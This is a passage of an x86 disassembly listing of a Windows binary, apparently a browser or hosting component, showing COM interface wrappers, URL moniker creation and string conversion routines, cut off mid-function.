; ---------------------------------------------------------------------------


loc_69B811FB:				; CODE XREF: sub_69B811DE+8j
		xor	eax, eax

locret_69B811FD:			; CODE XREF: sub_69B811DE+1Bj
		retn	0Ch
sub_69B811DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B81200	proc near		; CODE XREF: sub_69B81652+37p
					; DATA XREF: .text:69B1469Co

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_69B81223
		push	[ebp+arg_10]
		mov	eax, [eax+18h]
		push	[ebp+arg_C]
		mov	ecx, [eax]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+24h]
		jmp	short loc_69B81225
; ---------------------------------------------------------------------------


loc_69B81223:				; CODE XREF: sub_69B81200+Aj
		xor	eax, eax


loc_69B81225:				; CODE XREF: sub_69B81200+21j
		pop	ebp
		retn	14h
sub_69B81200	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81229	proc near		; DATA XREF: .text:69B146A0o
					; .text:69B16BC4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_69B81246
		push	[esp+arg_8]
		mov	eax, [eax+18h]
		push	[esp+4+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+28h]
		jmp	short locret_69B81248
; ---------------------------------------------------------------------------


loc_69B81246:				; CODE XREF: sub_69B81229+8j
		xor	eax, eax

locret_69B81248:			; CODE XREF: sub_69B81229+1Bj
		retn	0Ch
sub_69B81229	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8124B	proc near		; DATA XREF: .text:69B2A7E0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		xor	esi, esi
		and	[ebp+var_4], esi
		push	edi
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_69B8125F
		and	[edi], esi


loc_69B8125F:				; CODE XREF: sub_69B8124B+10j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+8], 0
		jz	short loc_69B812A5
		mov	eax, [eax+8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2AF80
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B81298
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B812A5
		mov	ecx, [eax]
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax


loc_69B81298:				; CODE XREF: sub_69B8124B+32j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B812A5
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B812A5:				; CODE XREF: sub_69B8124B+1Bj
					; sub_69B8124B+39j ...
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn	14h
sub_69B8124B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B812AD	proc near		; DATA XREF: .text:69B2A7E4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		xor	esi, esi
		and	[ebp+var_4], esi
		push	edi
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_69B812C1
		and	[edi], esi


loc_69B812C1:				; CODE XREF: sub_69B812AD+10j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+8], 0
		jz	short loc_69B81307
		mov	eax, [eax+8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2AF80
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B812FA
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B81307
		mov	ecx, [eax]
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+10h]
		mov	esi, eax


loc_69B812FA:				; CODE XREF: sub_69B812AD+32j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B81307
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B81307:				; CODE XREF: sub_69B812AD+1Bj
					; sub_69B812AD+39j ...
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn	14h
sub_69B812AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8130F	proc near		; DATA XREF: .text:69B16B94o
					; .text:69B2A7B8o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	[eax+4], esi
		jz	short loc_69B8135E
		mov	eax, [eax+4]
		mov	ecx, [eax]
		lea	edx, [ebp+arg_0]
		push	edx
		push	offset dword_69B2AF30
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B8134F
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_69B81368
		push	[ebp+arg_10]
		mov	ecx, [eax]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+10h]
		mov	esi, eax


loc_69B8134F:				; CODE XREF: sub_69B8130F+23j
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_69B81368
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	short loc_69B81368
; ---------------------------------------------------------------------------


loc_69B8135E:				; CODE XREF: sub_69B8130F+Cj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_69B81368
		and	dword ptr [eax], 0


loc_69B81368:				; CODE XREF: sub_69B8130F+2Aj
					; sub_69B8130F+45j ...
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	14h
sub_69B8130F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8136F	proc near		; DATA XREF: .text:69B146B0o

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		mov	ecx, [esp+arg_0]
		mov	[ecx+20h], eax
		jz	short loc_69B81384
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B81384:				; CODE XREF: sub_69B8136F+Dj
		xor	eax, eax
		retn	0Ch
sub_69B8136F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B81389(int, int, int, LPMONIKER ppmk, LPCWSTR szURL)

sub_69B81389	proc near		; DATA XREF: .text:69B146BCo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
ppmk		= dword	ptr  14h
szURL		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+ppmk]
		cmp	ecx, 3
		jz	short loc_69B813BC
		cmp	ecx, 0Dh
		jz	short loc_69B813F3
		cmp	ecx, 16h
		jz	short loc_69B813F3
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_69B813F3
		push	[ebp+szURL]
		mov	eax, [eax+18h]
		mov	edx, [eax]
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [edx+18h]
		jmp	short loc_69B813F5
; ---------------------------------------------------------------------------


loc_69B813BC:				; CODE XREF: sub_69B81389+9j
		and	[ebp+ppmk], 0
		lea	eax, [ebp+ppmk]
		push	eax		; ppmk
		push	[ebp+szURL]	; szURL
		push	0		; pMkCtx
		call	CreateURLMoniker
		test	eax, eax
		jl	short loc_69B813F3
		cmp	[ebp+ppmk], 0
		jz	short loc_69B813F3
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+24h]
		test	eax, eax
		jz	short loc_69B813F3
		mov	eax, [eax+18h]
		test	eax, eax
		jz	short loc_69B813F3
		push	[ebp+ppmk]
		mov	ecx, eax
		call	sub_69B82634


loc_69B813F3:				; CODE XREF: sub_69B81389+Ej
					; sub_69B81389+13j ...
		xor	eax, eax


loc_69B813F5:				; CODE XREF: sub_69B81389+31j
		pop	ebp
		retn	14h
sub_69B81389	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B813F9	proc near		; DATA XREF: .text:69B146C0o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_69B8140B
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B8140B:				; CODE XREF: sub_69B813F9+Aj
		mov	eax, [esi+1Ch]
		and	dword ptr [esi+20h], 0
		neg	eax
		sbb	eax, eax
		and	eax, 8000000Ah
		pop	esi
		retn	0Ch
sub_69B813F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8141F	proc near		; CODE XREF: sub_69B817BC+5j
					; DATA XREF: .text:69B146C4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_8]
		push	ebx
		push	esi
		mov	dword ptr [eax], 283h
		mov	esi, [edx]
		test	esi, esi
		push	edi
		jnz	short loc_69B81439
		push	54h
		pop	esi


loc_69B81439:				; CODE XREF: sub_69B8141F+15j
		mov	ecx, esi
		mov	ebx, ecx
		shr	ecx, 2
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esp+0Ch+arg_0]
		and	dword ptr [edx+18h], 0
		pop	edi
		mov	[edx], esi
		cmp	dword ptr [eax+18h], 0
		pop	esi
		pop	ebx
		jz	short loc_69B81470
		mov	eax, [eax+18h]
		mov	ecx, [eax]
		push	edx
		push	[esp+4+arg_4]
		push	eax
		call	dword ptr [ecx+20h]
		jmp	short locret_69B81472
; ---------------------------------------------------------------------------


loc_69B81470:				; CODE XREF: sub_69B8141F+3Fj
		xor	eax, eax

locret_69B81472:			; CODE XREF: sub_69B8141F+4Fj
		retn	0Ch
sub_69B8141F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B81475	proc near		; DATA XREF: .text:69B146C8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		test	byte ptr [ebp+arg_4], 1
		push	esi
		mov	esi, [ebp+arg_0]
		jz	short loc_69B814E5
		mov	eax, [esi+20h]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2AF70
		push	eax
		call	dword ptr [ecx]
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B814D0
		lea	edx, [ebp+arg_4]
		push	edx
		lea	edx, [ebp+arg_0]
		push	edx
		push	17h
		mov	[ebp+arg_4], 4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	short loc_69B814C3
		mov	eax, [esi+24h]
		mov	ecx, [ebp+arg_0]
		mov	[eax+1Ch], ecx


loc_69B814C3:				; CODE XREF: sub_69B81475+43j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B814D0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B814D0:				; CODE XREF: sub_69B81475+28j
					; sub_69B81475+53j
		mov	eax, [esi+20h]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_69B814E1
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B814E1:				; CODE XREF: sub_69B81475+64j
		and	dword ptr [esi+20h], 0


loc_69B814E5:				; CODE XREF: sub_69B81475+10j
		mov	eax, [esi+1Ch]
		neg	eax
		sbb	eax, eax
		and	eax, 8000000Ah
		pop	esi
		leave
		retn	14h
sub_69B81475	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B814F6(HANDLE pHandles)

sub_69B814F6	proc near		; DATA XREF: .text:69B146DCo

pHandles	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+pHandles]
		mov	ecx, [eax+18h]
		test	ecx, ecx
		push	esi
		mov	esi, [eax+14h]
		jz	short loc_69B8152D
		cmp	dword ptr [ecx+28h], 0
		jz	short loc_69B8152D
		mov	eax, [esi+30h]
		mov	[ebp+pHandles],	eax
		call	sub_69B8110C
		cmp	[ebp+pHandles],	0
		jz	short loc_69B8152D
		push	0FFFFFFFFh	; dwMilliseconds
		push	0		; fWaitAll
		lea	eax, [ebp+pHandles]
		push	eax		; pHandles
		push	1		; nCount
		call	sub_69B80843


loc_69B8152D:				; CODE XREF: sub_69B814F6+Fj
					; sub_69B814F6+15j ...
		test	esi, esi
		jz	short loc_69B81538
		mov	ecx, esi
		call	sub_69B7F4AC


loc_69B81538:				; CODE XREF: sub_69B814F6+39j
		xor	eax, eax
		pop	esi
		pop	ebp
		retn	4
sub_69B814F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8153F	proc near		; DATA XREF: .text:69B2A7F8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 17h
		mov	eax, [ebp+arg_C]
		jnz	short loc_69B81560
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [eax], 4
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		mov	[ecx], eax
		xor	eax, eax
		jmp	short loc_69B81568
; ---------------------------------------------------------------------------


loc_69B81560:				; CODE XREF: sub_69B8153F+Aj
		and	dword ptr [eax], 0
		mov	eax, 80004005h


loc_69B81568:				; CODE XREF: sub_69B8153F+1Fj
		pop	ebp
		retn	10h
sub_69B8153F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8156C	proc near		; DATA XREF: .text:69B2A7FCo

lpWideCharStr	= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+lpWideCharStr], 0
		cmp	[ebp+arg_4], 1
		push	ebx
		push	esi
		push	edi
		mov	eax, 80004005h
		jnz	loc_69B8160D
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+8], 0
		jz	short loc_69B8160D
		mov	esi, offset dword_69B81628
		mov	ebx, esi
		lea	edi, [ebx+1]


loc_69B81599:				; CODE XREF: sub_69B8156C+32j
		mov	cl, [ebx]
		inc	ebx
		test	cl, cl
		jnz	short loc_69B81599
		mov	ecx, [ebp+arg_C]
		sub	ebx, edi
		cmp	ebx, [ecx]
		jnb	short loc_69B8160D
		mov	edi, [ebp+arg_8]
		mov	ecx, ebx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		lea	eax, [ebp+lpWideCharStr]
		rep movsb
		mov	ecx, [edx+8]
		push	eax
		call	sub_69B826D5
		test	eax, eax
		jnz	short loc_69B8160D
		mov	edi, [ebp+arg_C]
		mov	esi, [ebp+arg_8]
		push	eax		; lpUsedDefaultChar
		push	eax		; lpDefaultChar
		mov	eax, [edi]
		sub	eax, ebx
		dec	eax
		push	eax		; cchMultiByte
		lea	eax, [esi+ebx]
		push	eax		; lpMultiByteStr
		push	[ebp+lpWideCharStr] ; BSTR
		call	SysStringLen
		push	eax		; cchWideChar
		push	[ebp+lpWideCharStr] ; lpWideCharStr
		push	0		; dwFlags
		push	0		; CodePage
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		push	[ebp+lpWideCharStr] ; BSTR
		mov	[ebp+arg_8], eax
		call	SysFreeString
		xor	eax, eax
		cmp	[ebp+arg_8], eax
		jg	short loc_69B8161A
		mov	eax, 80004005h


loc_69B8160D:				; CODE XREF: sub_69B8156C+14j
					; sub_69B8156C+21j ...
		mov	ecx, [ebp+arg_C]
		and	dword ptr [ecx], 0


loc_69B81613:				; CODE XREF: sub_69B8156C+B7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
; ---------------------------------------------------------------------------


loc_69B8161A:				; CODE XREF: sub_69B8156C+9Aj
		add	ebx, [ebp+arg_8]
		mov	byte ptr [ebx+esi], 0
		mov	[edi], ebx
		jmp	short loc_69B81613
sub_69B8156C	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B81628	dd 74786574h, 6D74682Fh		db 6Ch,	3Bh, 0

; =============== S U B	R O U T	I N E =======================================



sub_69B81633	proc near		; CODE XREF: sub_69B7E6D3+Ep
					; sub_69B7FB0F+3F5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	[ecx+18h], eax
		mov	eax, [esp+arg_0]
		mov	[ecx+14h], eax
		retn	8
sub_69B81633	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81644	proc near		; CODE XREF: sub_69B822CE+32p
					; sub_69B8259B+20p

; FUNCTION CHUNK AT 69B7E6BC SIZE 00000017 BYTES

		mov	ecx, [ecx+14h]
		test	ecx, ecx
		jnz	loc_69B7E6BC
		xor	eax, eax
		retn
sub_69B81644	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B81652	proc near		; DATA XREF: .text:69B16BC0o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B8166C
		mov	eax, 80004005h
		jmp	short loc_69B816B6
; ---------------------------------------------------------------------------


loc_69B8166C:				; CODE XREF: sub_69B81652+11j
		push	ebx
		push	esi
		push	0
		push	edi
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		push	[ebp+arg_10]
		mov	esi, [ebp+arg_0]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_69B81200
		test	byte ptr [ebp+arg_4], 4
		mov	ebx, eax
		jz	short loc_69B816A3
		mov	ecx, [esi+74h]
		push	0
		push	dword ptr [esi+78h]
		call	sub_69B834CD


loc_69B816A3:				; CODE XREF: sub_69B81652+42j
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		push	edi
		call	dword_69B92944
		pop	esi
		mov	eax, ebx
		pop	ebx


loc_69B816B6:				; CODE XREF: sub_69B81652+18j
		pop	edi
		leave
		retn	14h
sub_69B81652	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B816BB	proc near		; CODE XREF: sub_69B81774+43j
					; sub_69B8188F+3p ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+14h]
		test	eax, eax
		mov	dword ptr [esi-4], offset off_69B14678
		mov	dword ptr [esi], offset	off_69B2A7BC
		mov	dword ptr [esi+0Ch], offset off_69B2A7D4
		mov	dword ptr [esi+10h], offset off_69B2A7A8
		jz	short loc_69B816E6
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B816E6:				; CODE XREF: sub_69B816BB+23j
		and	dword ptr [esi+14h], 0
		pop	esi
		jmp	sub_69B2C65C
sub_69B816BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B816F0	proc near		; DATA XREF: .text:69B2A7B4o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 14h
		jmp	sub_69B811DE
sub_69B816F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B816FA	proc near		; CODE XREF: sub_69B81766+5j
					; .text:69B81772j
					; DATA XREF: ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AF80
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B81723
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+arg_8]
		add	esi, 10h
		mov	[eax], esi
		jmp	short loc_69B8174D
; ---------------------------------------------------------------------------


loc_69B81723:				; CODE XREF: sub_69B816FA+14j
		mov	esi, [ebp+arg_4]
		push	4
		xor	eax, eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		mov	edi, offset dword_69B2AF30
		repe cmpsd
		jnz	short loc_69B81751
		mov	ecx, eax
		neg	ecx
		lea	edx, [eax+14h]
		sbb	ecx, ecx
		and	ecx, edx
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B8174D:				; CODE XREF: sub_69B816FA+27j
		xor	eax, eax
		jmp	short loc_69B81760
; ---------------------------------------------------------------------------


loc_69B81751:				; CODE XREF: sub_69B816FA+3Bj
		push	[ebp+arg_8]
		lea	ecx, [eax+4]
		push	[ebp+arg_4]
		push	eax
		call	sub_69B87FE8


loc_69B81760:				; CODE XREF: sub_69B816FA+55j
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B816FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81766	proc near		; DATA XREF: .text:off_69B2A7D4o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 10h
		jmp	short sub_69B816FA
sub_69B81766	endp

; ---------------------------------------------------------------------------


loc_69B8176D:				; DATA XREF: .text:off_69B16B84o
					; .text:off_69B2A7A8o ...
		sub	dword ptr [esp+4], 14h
		jmp	short sub_69B816FA

; =============== S U B	R O U T	I N E =======================================



sub_69B81774	proc near		; CODE XREF: sub_69B818E9+3p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+14h]
		test	eax, eax
		mov	dword ptr [esi-4], offset off_69B146A4
		mov	dword ptr [esi], offset	off_69B2A7E8
		mov	dword ptr [esi+0Ch], offset off_69B2A7D4
		mov	dword ptr [esi+10h], offset off_69B2A7C0
		jz	short loc_69B8179F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B8179F:				; CODE XREF: sub_69B81774+23j
		mov	eax, [esi+1Ch]
		and	dword ptr [esi+14h], 0
		test	eax, eax
		jz	short loc_69B817B0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B817B0:				; CODE XREF: sub_69B81774+34j
		and	dword ptr [esi+1Ch], 0
		mov	ecx, esi
		pop	esi
		jmp	sub_69B816BB
sub_69B81774	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B817BC	proc near		; DATA XREF: .text:69B2A7CCo

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 14h
		jmp	sub_69B8141F
sub_69B817BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B817C6	proc near		; CODE XREF: sub_69B81933+3p
		mov	dword ptr [ecx-4], offset off_69B146D0
		mov	dword ptr [ecx], offset	off_69B2A800
		mov	dword ptr [ecx+0Ch], offset off_69B2A7EC
		jmp	sub_69B2C65C
sub_69B817C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B817DF	proc near		; CODE XREF: sub_69B81833+5j
					; DATA XREF: .text:off_69B146D0o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AF70
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B81806
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AF50
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B8181B


loc_69B81806:				; CODE XREF: sub_69B817DF+14j
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+arg_8]
		add	esi, 10h
		mov	[eax], esi
		xor	eax, eax
		jmp	short loc_69B8182D
; ---------------------------------------------------------------------------


loc_69B8181B:				; CODE XREF: sub_69B817DF+25j
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		lea	ecx, [eax+4]
		push	eax
		call	sub_69B87FE8


loc_69B8182D:				; CODE XREF: sub_69B817DF+3Aj
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B817DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81833	proc near		; DATA XREF: .text:off_69B2A7ECo

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 10h
		jmp	short sub_69B817DF
sub_69B81833	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8183A	proc near		; CODE XREF: sub_69B81908+3p
		push	esi
		mov	esi, ecx
		push	offset loc_69B81854
		lea	ecx, [esi+4]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi

locret_69B81852:			; CODE XREF: .text:69B81857j
		retn
sub_69B8183A	endp

; ---------------------------------------------------------------------------
		align 4


loc_69B81854:				; DATA XREF: sub_69B8183A+3o
		ror	cl, 0EAh
		jns	short locret_69B81852
		mov	edx, 828C11CEh
		add	[edx+0BA94B00h], ch

; =============== S U B	R O U T	I N E =======================================



sub_69B81864	proc near		; CODE XREF: sub_69B16B18+5p
					; sub_69B7FB0F+B0p ...
		push	esi
		mov	esi, ecx
		call	sub_69B3B1E4
		and	dword ptr [esi+18h], 0
		mov	dword ptr [esi], offset	off_69B14678
		mov	dword ptr [esi+4], offset off_69B2A7BC
		mov	dword ptr [esi+10h], offset off_69B2A7D4
		mov	dword ptr [esi+14h], offset off_69B2A7A8
		mov	eax, esi
		pop	esi
		retn
sub_69B81864	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8188F	proc near		; DATA XREF: .text:off_69B2A7BCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B816BB
		test	[esp+4+arg_0], 1
		jz	short loc_69B818A7
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B818A7:				; CODE XREF: sub_69B8188F+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B8188F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B818AE	proc near		; CODE XREF: sub_69B7FB0F+13Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B81864
		xor	eax, eax
		mov	[esi+18h], eax
		mov	[esi+1Ch], eax
		mov	[esi+20h], eax
		mov	eax, [esp+4+arg_0]
		mov	[esi+24h], eax
		mov	dword ptr [esi], offset	off_69B146A4
		mov	dword ptr [esi+4], offset off_69B2A7E8
		mov	dword ptr [esi+10h], offset off_69B2A7D4
		mov	dword ptr [esi+14h], offset off_69B2A7C0
		mov	eax, esi
		pop	esi
		retn	4
sub_69B818AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B818E9	proc near		; DATA XREF: .text:off_69B2A7E8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B81774
		test	[esp+4+arg_0], 1
		jz	short loc_69B81901
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B81901:				; CODE XREF: sub_69B818E9+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B818E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81908	proc near		; CODE XREF: sub_69B7FB0F+10Fp
		push	esi
		mov	esi, ecx
		call	sub_69B8183A
		xor	eax, eax
		mov	[esi+18h], eax
		mov	[esi+14h], eax
		mov	[esi+1Ch], eax
		mov	dword ptr [esi], offset	off_69B146D0
		mov	dword ptr [esi+4], offset off_69B2A800
		mov	dword ptr [esi+10h], offset off_69B2A7EC
		mov	eax, esi
		pop	esi
		retn
sub_69B81908	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81933	proc near		; DATA XREF: .text:off_69B2A800o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B817C6
		test	[esp+4+arg_0], 1
		jz	short loc_69B8194B
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B8194B:				; CODE XREF: sub_69B81933+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B81933	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B81952	proc near		; CODE XREF: sub_69B7E2EC+55p
					; sub_69B7E2EC+63p ...

var_2C		= word ptr -2Ch
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
